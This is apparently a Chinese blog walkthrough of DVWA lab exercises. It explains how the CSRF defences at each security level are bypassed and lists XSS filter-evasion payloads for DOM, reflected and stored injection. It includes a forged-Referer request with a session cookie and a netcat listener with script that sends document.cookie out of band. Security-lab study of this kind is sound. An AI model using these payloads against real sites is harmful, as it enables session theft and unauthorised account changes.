抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

CSRF

low 级别未作防护,burp 拦截后直接生成 PoC 就能够实现 CSRF。

medium 级别对 Referer 做了检查,如果不包含 server_name 就判为非法。
需要构造一个包含域名的地址,如:http://vps.ip/server_name/csrf.html

high 级别不仅校验 Referer,还会为每次访问生成一个 token,请求时会判断 token 是否有效。
需要先请求一次页面获取 token,然后再将 token 添加到 query 中。

1
2
3
4
5
6
GET /dvwa/vulnerabilities/csrf/?password_new=passw0rd&password_conf=passw0rd&Change=Change&user_token=e206c7cd093babd9dde6e91f3f4ed409 HTTP/1.1
Host: 192.168.29.134:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0
Referer: http://vps.ip/192.168.29.134:8080/
Cookie: PHPSESSID=am7fgmrpfvp2epi2l3re28t1qe; security=high
Connection: close

SameSite

https://web.dev/samesite-cookies-explained/
Lax:GET 携带 Cookie;POST 不携带;None: 无限制;Strict:完全禁止第三方 Cookie

SQL Injection

Blind

XSS

DOM 型

DOM 型直接作用与浏览器,未与后端产生任何交互。

low 级别非常简单,没有做任何检查,直接写入 <script>alert(document.cookie)</script>

medium 级别对 <script 做了检查,所以需要避开 script 标签,
通过 DevTools 分析,需要把 <option <select> 闭合起来,因为这两个标签内部都无法使用 <iframe>
然后使用 <iframe onload=alert(document.cookie)> 来构造一个 XSS:
></option></select><iframe onload=alert(document.cookie)>

high 级别做了白名单处理,这时单纯闭合标签就不起作用了。因为上面两种输入的内容都被视作 $default。如果想要切割开,使用 #/& 符号,所以应该这样构造:English&<script>alert(document.cookie)</script>

OOB 带外方法:vps 上监听 nc -nlkvp 8088,然后使用 script 标签 <script /src=//localhost:8088> 或者 <script>new Image().src="http://localhost:8088/log?output="+document.cookie;</scipt>

反射型

与 DOM 型相反,反射型的数据需要经过后端服务器,但因后端过滤规则不完善,将恶意 payload 又转发给了用户,经过服务器反射最后起作用。

low 级别同上省略。

medium 级别做了字符替换 str_replace 处理,和 DOM 型的 stripos 不同,此处可以采取多种规避规则:

  1. 大小写绕过,<sCrIpT>alert(document.cookie)></sCrIpT>
  2. 双写方式绕过,<scr<script>ipt>alert(document.cookie)></script>
  3. 注释干扰
  4. 非 script 标签 payload:<iframe onload=alert(document.cookie)>,要闭合无法嵌套 iframe 的标签

high 级别,对 script 做了正则匹配,可以用 img、body 等标签的事件或者 iframe 等标签的 src 构造可利用的 js 代码。

  1. <img src='javascript:alert(/xss/)' onerror=alert(/xss/)>
  2. <iframe onload=alert(/xss/)>
  3. <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>
  4. <img src='javascript:alert(/xss/)' onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
  5. <a href='javascript:alert(/xss/)' onclick=alert('xss')>click</a>

存储型

存储型和反射型的不同点在于,payload 是保存到后端服务器上的,在取出 payload 时才构成 xss。

low 级别同上省略。

medium 级别对 message 做了 strip_tags 是的很难再添加标签,但对 name 的防护很弱,仅在前端限制了长度,后端和反射型相同做了 str_replace。所以仅需在前端修改长度限制,然后直接使用反射型的 xss 即可。

high 级别和 medium 级别做相同长度突破,然后使用反射型 xss 即可。这里的存储型和反射型做法基本相同。

评论